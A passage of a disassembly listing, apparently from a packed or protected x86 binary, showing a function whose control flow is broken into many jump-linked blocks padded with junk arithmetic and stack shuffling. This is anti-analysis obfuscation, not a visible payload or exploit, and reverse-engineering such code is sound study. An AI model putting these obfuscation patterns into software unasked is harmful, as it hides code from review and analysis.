loc_5A2BDC:				; CODE XREF: sub_581EE9+17F4Ej
		xor	al, bl
		push	dx
		jmp	loc_5A1521
; ---------------------------------------------------------------------------


loc_5A2BE5:				; CODE XREF: sub_581EE9+1C990j
		mov	[esp-6EACh+arg_6EA4], ebp
		push	esp
		pop	ebp
		push	ecx
		push	eax
		jmp	loc_59F269
; ---------------------------------------------------------------------------


loc_5A2BF1:				; CODE XREF: sub_581EE9+16D79j
		sub	ecx, 71EF293Ch
		sub	ecx, 2D121BCh
		shl	ecx, 4
		xor	ecx, 1206A0E4h
		add	edi, ecx
		pop	ecx
		add	edi, 4
		jmp	loc_59D68B
; ---------------------------------------------------------------------------


loc_5A2C11:				; CODE XREF: sub_581EE9+11770j
		inc	ecx
		sub	ecx, 35F51332h
		neg	ecx
		add	ecx, 0EC1BF553h
		add	esi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 56EA5F12h
		push	ebp
		mov	ebp, 1
		add	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 56EA5F17h
		xor	ebx, edi
		mov	edi, [esp-6E86h+arg_6E7C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E86h+arg_6E7C+2],	edx
		mov	edx, 0FF17E7h
		sub	edx, 0A62104Bh
		push	ebp
		mov	ebp, 3FCB5C8Dh
		shl	ebp, 1
		sub	ebp, 322B5D54h
		add	edx, ebp
		jmp	loc_5A1D63
; ---------------------------------------------------------------------------


loc_5A2C69:				; CODE XREF: sub_581EE9+1290Ej
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, 2
		push	ebx
		push	edx
		push	eax
		mov	eax, 6F0F45C3h
		sub	eax, 119564E1h
		dec	eax
		jmp	loc_5956D5
; ---------------------------------------------------------------------------


loc_5A2C89:				; CODE XREF: sub_581EE9+1FE25j
		push	[esp-6E5Ah+arg_6E50+2]
		pop	edi
		sub	esp, 4
		mov	[esp-6E56h+arg_6E4C+2],	edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_59F8F3
; ---------------------------------------------------------------------------


loc_5A2CA2:				; CODE XREF: sub_581EE9+243C7j
		push	eax
		push	ebp
		mov	ebp, 0A462902h
		jmp	loc_5A40D3
; ---------------------------------------------------------------------------


loc_5A2CAE:				; CODE XREF: sub_581EE9+17B4Aj
		sub	esp, 4
		mov	[esp-6E8Eh+arg_6E84+2],	edi
		push	45751C07h
		mov	edi, [esp-6E8Ah+arg_6E80+2]
		add	esp, 4
		xor	edi, 604A1531h
		shr	edi, 6
		push	eax
		jmp	loc_5A6DDE
; ---------------------------------------------------------------------------


loc_5A2CCE:				; CODE XREF: sub_581EE9+213DDj
		add	esi, ebp
		pop	ebp
		xor	esi, [esp-6E8Eh+arg_6E84+2]
		xor	[esp-6E8Eh+arg_6E84+2],	esi
		jmp	loc_5A0DCC
; ---------------------------------------------------------------------------


loc_5A2CDC:				; CODE XREF: sub_581EE9+181DCj
		mov	[esp-6E7Ah+arg_6E72], ebp
		push	edx
		mov	edx, 183E68BEh
		sub	edx, 0A4FF4847h
		mov	ebp, edx
		pop	edx
		shl	ebp, 6
		sub	ebp, 6F2808A6h
		push	6BFEh
		mov	[esp-6E76h+arg_6E6E], ebp
		neg	[esp-6E76h+arg_6E6E]
		pop	ebp
		sub	ebp, 9B838591h
		xor	[esp-6E7Ah+arg_6E76], ebp
		jmp	loc_5A3987
; ---------------------------------------------------------------------------


loc_5A2D12:				; CODE XREF: sub_581EE9+23B8Aj
		mov	ch, 96h
		push	ecx
		mov	cl, 0FBh
		or	cl, 0E2h
		inc	cl
		shr	cl, 4
		not	cl
		sub	cl, 67h
		push	edx
		mov	dh, 0CDh
		jmp	loc_5A0728
; ---------------------------------------------------------------------------


loc_5A2D2C:				; CODE XREF: sub_581EE9+12000j
		mov	[esp-6E92h+arg_6E8A], edx
		jmp	loc_59537E
; ---------------------------------------------------------------------------


loc_5A2D34:				; CODE XREF: sub_581EE9+16EC5j
		mov	ax, word ptr [esp-6ED0h+arg_6EC6+2]
		push	6706h
		mov	[esp-6ECCh+arg_6EC2+2],	ebx
		jmp	loc_5A15D0
; ---------------------------------------------------------------------------


loc_5A2D45:				; CODE XREF: sub_581EE9+1D874j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A2D4A:				; CODE XREF: sub_581EE9+17766j
		sub	ebx, 5C3D2740h
		sub	ebx, 34B72714h
		add	ebx, ecx
		jmp	loc_59AEA8
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E8Ch+arg_6E84]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		push	ecx
		mov	ecx, esp
		jmp	loc_59EAAD
; ---------------------------------------------------------------------------


loc_5A2D74:				; CODE XREF: sub_581EE9+105C8j
		xchg	edi, [esp-6EA4h+arg_6E9A+2]
		pop	esp
		jmp	loc_597FD9
; ---------------------------------------------------------------------------


loc_5A2D7D:				; CODE XREF: sub_581EE9+22A59j
		push	dx
		jmp	loc_59947B
; ---------------------------------------------------------------------------


loc_5A2D84:				; CODE XREF: sub_581EE9+141ACj
		sub	edi, 5DA738AAh
		dec	edi
		xor	edi, 875EA645h
		push	edi
		add	[esp-6E8Eh+arg_6E84+2],	9677EF1h
		pop	ebp
		sub	ebp, 9677EF1h
		pop	edi
		jmp	loc_5A20D6
; ---------------------------------------------------------------------------


loc_5A2DA6:				; CODE XREF: sub_581EE9+209EDj
		push	eax
		mov	ah, 0B7h
		inc	ah
		not	ah
		sub	ah, 25h
		and	cl, ah
		pop	eax
		dec	cl
		neg	cl
		sub	cl, 93h
		mov	dl, cl
		pop	ecx
		xor	dl, 1Ah
		jmp	loc_595253
; ---------------------------------------------------------------------------


loc_5A2DC5:				; CODE XREF: sub_581EE9+12E51j
		mov	ebp, [esp-6EACh+arg_6EA4]
		jmp	loc_59777E
; ---------------------------------------------------------------------------


loc_5A2DCD:				; CODE XREF: sub_581EE9+24F14j
		add	esp, 4
		mov	ebx, edi
		mov	edi, [esp-6EB0h+arg_6EA8]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EACh+arg_6EA4]
		pop	esp
		sub	esp, 4
		mov	[esp-6EACh+arg_6EA4], ebp
		sub	esp, 4
		jmp	loc_59F5B5
; ---------------------------------------------------------------------------


loc_5A2DF7:				; CODE XREF: sub_581EE9+1047Aj
		push	[esp-6EB4h+arg_6EAC]
		push	[esp-6EB0h+arg_6EA8]
		pop	eax
		add	esp, 4
		push	ecx
		push	esp
		jmp	loc_5A4BE0
; ---------------------------------------------------------------------------


loc_5A2E0B:				; CODE XREF: sub_581EE9+19BC6j
		add	ebx, eax
		add	ebx, 506F4698h
		push	edx
		mov	edx, 4E57518Dh
		sub	ebx, edx
		jmp	loc_5A57EA
; ---------------------------------------------------------------------------


loc_5A2E20:				; CODE XREF: sub_581EE9+1ED92j
		xor	ebx, 0A60CA166h
		jmp	loc_598355
; ---------------------------------------------------------------------------


loc_5A2E2B:				; CODE XREF: sub_581EE9+18F66j
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		xchg	eax, ebp
		jmp	loc_592AB7
; ---------------------------------------------------------------------------


loc_5A2E35:				; CODE XREF: sub_581EE9+15843j
		sub	eax, 772F3982h
		sub	eax, ebx
		add	eax, 772F3982h
		pop	ebx
		shr	eax, 6
		or	eax, 3A17099Bh
		xor	eax, ecx
		xor	ecx, eax
		jmp	loc_5A6ADB
; ---------------------------------------------------------------------------


loc_5A2E53:				; CODE XREF: sub_581EE9+25150j
		add	esi, 4
		add	esi, 4
		jmp	loc_597627
; ---------------------------------------------------------------------------


loc_5A2E64:				; CODE XREF: sub_581EE9+120CAj
		shr	edi, 3
		jmp	loc_5A5F5B
; ---------------------------------------------------------------------------


loc_5A2E6C:				; CODE XREF: sub_581EE9+12362j
		mov	edi, 4
		jmp	loc_597D20
; ---------------------------------------------------------------------------


loc_5A2E76:				; CODE XREF: sub_581EE9+2409Bj
		pop	esi
		push	edi
		jmp	loc_596DE6
; ---------------------------------------------------------------------------


loc_5A2E7D:				; CODE XREF: sub_581EE9+130F4j
		push	[esp-6E8Ch+arg_6E84]
		push	[esp-6E88h+arg_6E80]
		pop	edi
		push	ebp
		push	esp
		pop	ebp
		push	edi
		push	4
		pop	edi
		add	ebp, edi
		pop	edi
		jmp	loc_597D0E
; ---------------------------------------------------------------------------


loc_5A2E96:				; CODE XREF: sub_581EE9+16EA9j
		mov	[esp-6EC8h+arg_6EBE+2],	esi
		mov	esi, 60DD73DFh
		push	3384h
		mov	[esp-6EC4h+arg_6EBA+2],	edx
		mov	edx, 68E814C9h
		jmp	loc_5931F9
; ---------------------------------------------------------------------------


loc_5A2EB0:				; CODE XREF: sub_581EE9+165C8j
		push	121Ah
		jmp	loc_599DDA
; ---------------------------------------------------------------------------


loc_5A2EBA:				; CODE XREF: sub_581EE9+11B78j
		or	ebp, 45050BE7h
		push	ebp
		add	[esp-6E7Ah+arg_6E72], 1
		pop	ebp
		xor	ebp, 389927CDh
		xor	edx, ebp
		mov	ebp, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		add	edi, edx
		jmp	loc_592253
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	[esp-6E7Eh+arg_6E76]
		pop	ecx
		jmp	loc_5A0DDF
; ---------------------------------------------------------------------------


loc_5A2EEA:				; CODE XREF: sub_581EE9+15104j
		pop	edx
		jmp	loc_59748D
; ---------------------------------------------------------------------------


loc_5A2EF0:				; CODE XREF: sub_581EE9+21128j
		add	esp, 4
		xchg	eax, [esp-6E5Ch+arg_6E54]
		mov	esp, [esp-6E5Ch+arg_6E54]
		mov	[esp-6E5Ch+arg_6E54], ebp
		push	edx
		jmp	loc_59BC1B
; ---------------------------------------------------------------------------


loc_5A2F02:				; CODE XREF: sub_581EE9+23BFDj
		xor	esi, [esp-6E58h+arg_6E50]
		mov	esp, [esp-6E58h+arg_6E50]
		idiv	cx
		jmp	loc_596D40
; ---------------------------------------------------------------------------


loc_5A2F10:				; CODE XREF: sub_581EE9+14961j
		add	esp, 4
		push	594Eh
		jmp	loc_5A5186
; ---------------------------------------------------------------------------


loc_5A2F1D:				; CODE XREF: sub_581EE9+18713j
		xor	ebx, 5758151Ch
		or	ebx, 11D71F11h
		sub	ebx, 0E3D1B4B3h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 43D706E9h
		sub	ecx, 61A8163Ah
		push	70A9h
		mov	[esp-6E6Ah+arg_6E60+2],	ebx
		mov	bh, al
		jmp	loc_59BD13
; ---------------------------------------------------------------------------


loc_5A2F4D:				; CODE XREF: sub_581EE9+10481j
		pop	ebx
		jmp	loc_592BFF
; ---------------------------------------------------------------------------


loc_5A2F53:				; CODE XREF: sub_581EE9+1FBAEj
		pop	edx
		dec	ebx
		jmp	loc_593A3E
; ---------------------------------------------------------------------------


loc_5A2F5A:				; CODE XREF: sub_581EE9+12CACj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6E6Ch+arg_6E64]
		pop	esp
		pop	[esp-6E70h+arg_6E68]
		mov	esp, [esp+0]
		or	[esp+0], ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A2F79:				; CODE XREF: sub_581EE9+1CF27j
		pop	edx
		add	edx, 4
		jmp	loc_59A81F
; ---------------------------------------------------------------------------


loc_5A2F85:				; CODE XREF: sub_581EE9+20AC2j
		push	68E1h
		jmp	loc_5A7128
; ---------------------------------------------------------------------------


loc_5A2F8F:				; CODE XREF: sub_581EE9+1754Ej
		add	esp, 4
		pop	[esp-6E9Ah+arg_6E92]
		pop	esp
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A2F9B:				; CODE XREF: sub_581EE9+1E266j
		push	ebp
		mov	ebp, 76B76F13h
		sub	edx, ebp
		pop	ebp
		pop	eax
		push	0E9Bh
		mov	[esp-6E8Ch+arg_6E84], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	[esp-6E8Ch+arg_6E84]
		pop	esp
		jmp	loc_5A306A
; ---------------------------------------------------------------------------


loc_5A2FBB:				; CODE XREF: sub_581EE9+234CFj
		push	edx
		mov	edx, 2D172C18h
		xor	ebx, edx
		jmp	loc_598FCC
; ---------------------------------------------------------------------------


loc_5A2FC8:				; CODE XREF: sub_581EE9+1C3DDj
		sub	ebx, 10E18F0Ch
		sub	eax, 2DE73CB2h
		add	eax, ebx
		add	eax, 2DE73CB2h
		pop	ebx
		add	eax, ecx
		sub	eax, 7C050DE2h
		sub	eax, 14E616FAh
		jmp	loc_59B4C5
; ---------------------------------------------------------------------------


loc_5A2FEC:				; CODE XREF: sub_581EE9+20398j
		xchg	ah, dh
		and	dh, 0D7h
		shl	dh, 1
		or	dh, 0C5h
		add	dh, 0BEh
		xor	dh, 65h
		jmp	loc_5A1617
; ---------------------------------------------------------------------------


loc_5A3001:				; CODE XREF: sub_581EE9+1A915j
		sub	eax, 58E43C72h
		sub	eax, ecx
		add	eax, 58E43C72h
		push	[esp-6E8Ah+arg_6E80+2]
		pop	ecx
		jmp	loc_5A2EF0
; ---------------------------------------------------------------------------


loc_5A3016:				; CODE XREF: sub_581EE9+1C973j
		pop	eax
		xor	al, dl
		mov	dx, word ptr [esp-6EA8h+arg_6E9E+2]
		sub	esp, 4
		mov	[esp-6EA4h+arg_6E9A+2],	edx
		mov	edx, esp
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_5A681A
; ---------------------------------------------------------------------------


loc_5A3031:				; CODE XREF: sub_581EE9+12941j
		sub	esi, 479832C9h
		add	ebp, esi
		pop	esi
		jmp	loc_597211
; ---------------------------------------------------------------------------


loc_5A303F:				; CODE XREF: sub_581EE9+1B1F5j
		xor	ecx, [esp-6E80h+arg_6E76+2]
		xor	[esp-6E80h+arg_6E76+2],	ecx
		xor	ecx, [esp-6E80h+arg_6E76+2]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	5346h
		jmp	loc_5A5454
; ---------------------------------------------------------------------------


loc_5A3057:				; CODE XREF: sub_581EE9+1AE31j
		sub	ecx, 644A1D39h
		add	ecx, edx
		add	ecx, 644A1D39h
		jmp	loc_59CDB6
; ---------------------------------------------------------------------------


loc_5A306A:				; CODE XREF: sub_581EE9+210CDj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A306F:				; CODE XREF: sub_581EE9+1FFB7j
		add	[esp-6E84h+arg_6E80], ebp
		jmp	loc_599374
; ---------------------------------------------------------------------------


loc_5A3078:				; CODE XREF: sub_581EE9+13C3Ej
		sub	edi, 7D884A2Fh
		add	edi, edx
		jmp	loc_597526
; ---------------------------------------------------------------------------


loc_5A3085:				; CODE XREF: sub_581EE9+22812j
		push	eax
		mov	eax, 36FA449Eh
		jmp	loc_59709A
; ---------------------------------------------------------------------------


loc_5A3090:				; CODE XREF: sub_581EE9+12ADAj
		pop	ecx
		jmp	loc_5958C1
; ---------------------------------------------------------------------------


loc_5A3096:				; CODE XREF: sub_581EE9+120C0j
		sub	ch, 3
		push	71Dh
		mov	[esp-6EB4h+arg_6EAC], ecx
		mov	cl, 96h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_599A11
; ---------------------------------------------------------------------------


loc_5A30B4:				; CODE XREF: sub_581EE9+216A2j
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp-6EACh+arg_6EA4], edi
		push	60602868h
		pop	edi
		jmp	loc_59C6CC
; ---------------------------------------------------------------------------


loc_5A30CF:				; CODE XREF: sub_581EE9+106E8j
		add	edx, 4
		sub	edx, 4
		jmp	loc_596F93
; ---------------------------------------------------------------------------


loc_5A30DD:				; CODE XREF: sub_581EE9+11146j
		mov	eax, esp
		push	edx
		mov	edx, 4
		sub	eax, 336D2926h
		add	eax, edx
		add	eax, 336D2926h
		mov	edx, [esp-6E5Ah+arg_6E50+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6E56h+arg_6E4C+2]
		pop	esp
		add	eax, 4
		xchg	eax, [esp-6E5Ah+arg_6E50+2]
		mov	esp, [esp-6E5Ah+arg_6E50+2]
		push	799Bh
		mov	[esp-6E56h+arg_6E4C+2],	eax
		jmp	loc_5A0CEE
; ---------------------------------------------------------------------------


loc_5A311C:				; CODE XREF: sub_581EE9+23A1Cj
		mov	[esp-6E56h+arg_6E4C+2],	esi
		mov	esi, 622517AAh
		dec	esi
		shl	esi, 1
		add	esi, 6EAC43EEh
		jmp	loc_59C206
; ---------------------------------------------------------------------------


loc_5A3132:				; CODE XREF: sub_581EE9+124DEj
		push	edi
		jmp	loc_59F6ED
; ---------------------------------------------------------------------------


loc_5A3138:				; CODE XREF: sub_581EE9+1A718j
		sub	ebp, eax
		pop	eax
		pop	eax
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-6EB0h+arg_6EA8]
		mov	esp, [esp-6EB0h+arg_6EA8]
		mov	[esp-6EB0h+arg_6EA8], edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_598A80
; ---------------------------------------------------------------------------


loc_5A315D:				; CODE XREF: sub_581EE9+207ADj
		pop	edx
		push	edx
		mov	edx, 2D2F74E4h
		xor	edx, 0D1E18A1h
		inc	edx
		push	eax
		push	69FA2DCDh
		pop	eax
		shr	eax, 1
		inc	eax
		jmp	loc_596C19
; ---------------------------------------------------------------------------


loc_5A317A:				; CODE XREF: sub_581EE9+22ECEj
		pop	esi
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp-6EC8h+arg_6EBE+2]
		jmp	loc_593FF2
; ---------------------------------------------------------------------------


loc_5A3186:				; CODE XREF: sub_581EE9+1CB85j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp+0]
		jmp	loc_5A6907
; ---------------------------------------------------------------------------


loc_5A319D:				; CODE XREF: sub_581EE9+229B2j
		mov	[esp+0], eax
		jmp	loc_5A21D2
; ---------------------------------------------------------------------------


loc_5A31A5:				; CODE XREF: sub_581EE9+12E58j
		mov	ebp, 7DC84040h
		add	esi, 1B723ACEh
		sub	esi, ebp
		jmp	loc_59C2F3
; ---------------------------------------------------------------------------


loc_5A31B7:				; CODE XREF: sub_581EE9+12225j
		push	edx
		jmp	loc_5986F3
; ---------------------------------------------------------------------------
		mov	eax, [esp-6E72h+arg_6E68+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		push	eax
		push	ebp
		jmp	loc_59594C
; ---------------------------------------------------------------------------


loc_5A31D1:				; CODE XREF: sub_581EE9+15A86j
		pop	ecx
		mov	ecx, ebx
		pop	ebx
		mov	ebp, ecx
		mov	ecx, [esp-6E70h+arg_6E68]
		jmp	loc_5A3BF7
; ---------------------------------------------------------------------------


loc_5A31DF:				; CODE XREF: sub_581EE9+11029j
		pop	esp
		push	2ACBh
		jmp	loc_5A2AB6
; ---------------------------------------------------------------------------


loc_5A31EA:				; CODE XREF: sub_581EE9+16AA7j
		sub	edx, 62DD7859h
		pop	ebp
		push	[esp-6EACh+arg_6EA4]
		pop	eax
		jmp	loc_5A6426
; ---------------------------------------------------------------------------


loc_5A31FA:				; CODE XREF: sub_581EE9+146C7j
		pop	eax
		sub	esp, 4
		mov	[esp-6E96h+arg_6E8E], esi
		push	[esp-6E96h+arg_6E92]
		mov	esi, [esp-6E92h+arg_6E8A]
		add	esp, 4
		pop	[esp-6E96h+arg_6E8E]
		mov	esp, [esp-6E9Ah+arg_6E92]
		jmp	loc_59270F
; ---------------------------------------------------------------------------


loc_5A3219:				; CODE XREF: sub_581EE9+10C20j
		mov	[esp-6EA0h+arg_6E96+2],	edi
		push	ecx
		mov	cx, 3D12h
		jmp	loc_5987C1
; ---------------------------------------------------------------------------


loc_5A3226:				; CODE XREF: sub_581EE9+13D7Aj
		add	esi, 7EF80DFAh
		push	[esp-6E7Ch+arg_6E72+2]
		pop	ebp
		push	1B72h
		mov	[esp-6E78h+arg_6E6E+2],	eax
		mov	eax, esp
		jmp	loc_5A05FE
; ---------------------------------------------------------------------------


loc_5A323F:				; CODE XREF: sub_581EE9+17C89j
		pop	ebx
		or	ch, 0CCh
		xor	ch, 4Eh
		jmp	loc_5A1DA5
; ---------------------------------------------------------------------------


loc_5A324B:				; CODE XREF: sub_581EE9+1D1D5j
		push	esp
		jmp	loc_595C9B
; ---------------------------------------------------------------------------


loc_5A3251:				; CODE XREF: sub_581EE9+21B9Bj
		xchg	edx, [esp-6EACh+arg_6EA4]
		jmp	loc_5A0B63
; ---------------------------------------------------------------------------


loc_5A3259:				; CODE XREF: sub_581EE9+1E12Fj
		pop	eax
		add	ebx, edi
		pop	edi
		jmp	loc_597322
; ---------------------------------------------------------------------------


loc_5A3262:				; CODE XREF: sub_581EE9+114F7j
		mov	edx, ecx
		jmp	loc_593648
; ---------------------------------------------------------------------------


loc_5A3269:				; CODE XREF: sub_581EE9+205C6j
		sub	ax, 7A86h
		pop	si
		push	edi
		mov	di, 3F1Ch
		shl	di, 3
		push	small 0
		add	word ptr [esp-6E62h+arg_6E58+2], 6728h
		jmp	loc_5A3EBE
; ---------------------------------------------------------------------------


loc_5A3287:				; CODE XREF: sub_581EE9+1680Fj
		pop	[esp-6E9Ch+arg_6E92+2]
		pop	esp
		jmp	loc_59C1A8
; ---------------------------------------------------------------------------


loc_5A3290:				; CODE XREF: sub_581EE9+21D1Fj
		pop	ebp
		not	ebx
		shr	ebx, 4
		jmp	loc_59A0A0
; ---------------------------------------------------------------------------


loc_5A329B:				; CODE XREF: sub_581EE9+1FB0Dj
		mov	[esp-6E64h+arg_6E5C], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp-6E64h+arg_6E5C]
		pop	esp
		push	eax
		push	35B9h
		mov	[esp-6E60h+arg_6E58], ecx
		jmp	loc_5A485D
; ---------------------------------------------------------------------------


loc_5A32BB:				; CODE XREF: sub_581EE9+14BE1j
		mov	esp, [esp+0]
		mov	[esp+0], ebp
		mov	ebp, 2
		jmp	loc_5A2CCE
; ---------------------------------------------------------------------------


loc_5A32CB:				; CODE XREF: sub_581EE9+24A09j
		pop	eax
		jmp	loc_59345D
; ---------------------------------------------------------------------------


loc_5A32D1:				; CODE XREF: sub_581EE9+14682j
		sub	esi, 0D7BEF921h
		mov	eax, esi
		jmp	loc_59A1EB
; ---------------------------------------------------------------------------


loc_5A32DE:				; CODE XREF: sub_581EE9+143A9j
		pop	ecx
		mov	dl, bh
		mov	ebx, [esp-6EB0h+arg_6EA8]
		push	ebx
		mov	ebx, esp
		jmp	loc_59367F
; ---------------------------------------------------------------------------


loc_5A32EC:				; CODE XREF: sub_581EE9+17853j
		push	esi
		mov	esi, 5BBC424Ah
		inc	esi
		jmp	loc_5A70A9
; ---------------------------------------------------------------------------


loc_5A32F8:				; CODE XREF: sub_581EE9+20BDFj
		sub	esi, 0AA1CD214h
		xor	esi, ebp
		pop	ebp
		jmp	loc_5A22CB
; ---------------------------------------------------------------------------


loc_5A3306:				; CODE XREF: sub_581EE9+17C5Dj
		push	6C89h
		mov	[esp-6E7Eh+arg_6E76], ebx
		push	edx
		mov	dh, 1Dh
		push	eax
		mov	ah, dh
		mov	bl, ah
		pop	eax
		jmp	loc_595CF5
; ---------------------------------------------------------------------------


loc_5A331C:				; CODE XREF: sub_581EE9+2253Aj
		sub	bx, 75A7h
		jmp	loc_5968A2
; ---------------------------------------------------------------------------


loc_5A3326:				; CODE XREF: sub_581EE9+16307j
		mov	[esp-6E88h+arg_6E80], esp
		add	[esp-6E88h+arg_6E80], 4
		pop	ebp
		jmp	loc_5A4E7D
; ---------------------------------------------------------------------------


loc_5A3336:				; CODE XREF: sub_581EE9+1681Dj
		xor	dh, ch
		pop	ecx
		push	ebx
		jmp	loc_598773
; ---------------------------------------------------------------------------


loc_5A333F:				; CODE XREF: sub_581EE9+2523Aj
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		add	esp, 4
		jmp	loc_5A273E
; ---------------------------------------------------------------------------


loc_5A334E:				; CODE XREF: sub_581EE9+145C6j
		pop	eax
		add	eax, edx
		pop	edx
		pop	ebp
		sub	eax, 158F7722h
		sub	eax, ebx
		add	eax, 158F7722h
		push	6092h
		mov	[esp-6E56h+arg_6E4C+2],	ebp
		mov	ebp, 3C2B4D34h
		not	ebp
		add	ebp, 2BE53746h
		shr	ebp, 8
		dec	ebp
		inc	ebp
		sub	ebp, 0C2D88B01h
		sub	eax, 7BFE2777h
		jmp	loc_5999A6
; ---------------------------------------------------------------------------


loc_5A3389:				; CODE XREF: sub_581EE9+1B7E3j
		push	dword ptr [esp-6EAAh+arg_6EA2]
		pop	ecx
		sub	esp, 4
		mov	[esp-6EA6h+arg_6E9E], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_597635
; ---------------------------------------------------------------------------
		push	[esp-6EA6h+arg_6E9E]
		push	[esp-6EA2h+arg_6E9A]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EA2h+arg_6E9A], eax
		push	esp
		pop	eax
		push	ebp
		push	ebx
		mov	ebx, 175E3AECh
		xchg	edx, ebx
		jmp	loc_59C8A1
; ---------------------------------------------------------------------------


loc_5A33C6:				; CODE XREF: sub_581EE9+1ABA7j
		push	edi
		push	ebp
		mov	ebp, 6D1C33D8h
		jmp	loc_599B33
; ---------------------------------------------------------------------------


loc_5A33D2:				; CODE XREF: sub_581EE9+17316j
		add	dl, ch
		add	dl, 6Ah
		push	[esp-6E7Ah+arg_6E72]
		pop	ecx
		add	esp, 4
		add	bl, 71h
		add	bl, dl
		push	edx
		jmp	loc_59E8FB
; ---------------------------------------------------------------------------


loc_5A33EC:				; CODE XREF: sub_581EE9+127C7j
		or	edx, 37E10D8h
		add	edx, 4BE7547Fh
		jmp	loc_597FFE
; ---------------------------------------------------------------------------


loc_5A33FD:				; CODE XREF: sub_581EE9+15CB2j
		mov	[esp-6EA0h+arg_6E96+2],	ebx
		jmp	loc_5A413B
; ---------------------------------------------------------------------------


loc_5A3405:				; CODE XREF: sub_581EE9+1841Cj
		sub	edi, eax
		add	edi, 604B6405h
		mov	eax, [esp-6EB0h+arg_6EA8]
		jmp	loc_59A5C7
; ---------------------------------------------------------------------------


loc_5A3415:				; CODE XREF: sub_581EE9+1E3F6j
		mov	edx, eax
		pop	eax
		mov	ecx, 0CB15F6C7h
		add	ecx, edx
		pop	edx
		push	edx
		jmp	loc_594C6E
; ---------------------------------------------------------------------------


loc_5A3426:				; CODE XREF: sub_581EE9+15E78j
		push	[esp-6EAAh+arg_6EA4+2]
		mov	ebx, [esp-6EA6h+arg_6E9E]
		add	esp, 4
		pop	dword ptr [esp-6EAAh+arg_6EA2]
		mov	esp, [esp-6EAEh+arg_6EA4+2]
		mov	[esp-6EAEh+arg_6EA4+2],	ecx
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A343E:				; CODE XREF: sub_581EE9+172C3j
		add	al, bl
		mov	ebx, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		jmp	loc_5A4F1D
; ---------------------------------------------------------------------------


loc_5A344B:				; CODE XREF: sub_581EE9+22149j
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E72h+arg_6E68+2],	ecx
		mov	ecx, 4
		push	55E8h
		mov	[esp-6E6Eh+arg_6E64+2],	eax
		mov	eax, 5FD43B84h
		add	ebx, eax
		mov	eax, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_59964C
; ---------------------------------------------------------------------------


loc_5A3470:				; CODE XREF: sub_581EE9+11AB9j
		mov	dh, 77h
		jmp	loc_598C94
; ---------------------------------------------------------------------------


loc_5A3477:				; CODE XREF: sub_581EE9+1BD89j
		pop	esp
		mul	cl
		movzx	cx, ah
		push	small 2CB9h
		mov	word ptr [esp-6E78h+arg_6E6E+2], cx
		jmp	loc_5A1C59
; ---------------------------------------------------------------------------


loc_5A348B:				; CODE XREF: sub_581EE9+1973Aj
		sub	ebp, 62B6767Dh
		add	ebp, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 3BC06AE6h
		add	edx, 0EF617A42h
		sub	ebp, edx
		jmp	loc_5A4FAE
; ---------------------------------------------------------------------------


loc_5A34AF:				; CODE XREF: sub_581EE9+20353j
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		xor	ebx, [esp-6E46h+arg_6E3E]
		xor	[esp-6E46h+arg_6E3E], ebx
		jmp	loc_5A14D4
; ---------------------------------------------------------------------------


loc_5A34C3:				; CODE XREF: sub_581EE9+21746j
		push	ecx
		mov	ecx, 1151780h
		add	ecx, 0FEEAE884h
		jmp	loc_5A01FB
; ---------------------------------------------------------------------------


loc_5A34D4:				; CODE XREF: sub_581EE9+20030j
		mov	edi, 15694801h
		xchg	esi, edi
		jmp	loc_59402A
; ---------------------------------------------------------------------------


loc_5A34E0:				; CODE XREF: sub_581EE9+24067j
		xchg	eax, [esp-6EA4h+arg_6E9A+2]
		pop	esp
		jmp	loc_59AEF7
; ---------------------------------------------------------------------------


loc_5A34E9:				; CODE XREF: sub_581EE9+1E085j
		pop	edx
		push	4939h
		mov	[esp-6E88h+arg_6E80], ebx
		push	ecx
		jmp	loc_59A4DA
; ---------------------------------------------------------------------------


loc_5A34F8:				; CODE XREF: sub_581EE9+2406Dj
		mov	cl, 0D7h
		add	cl, 0D8h
		sub	cl, bl
		sub	cl, 0D8h
		pop	ebx
		sub	al, 0E9h
		sub	al, cl
		add	al, 0E9h
		jmp	loc_593E70
; ---------------------------------------------------------------------------


loc_5A350E:				; CODE XREF: sub_581EE9+1A8ABj
		pop	ebp
		add	ebx, esi
		jmp	loc_594414
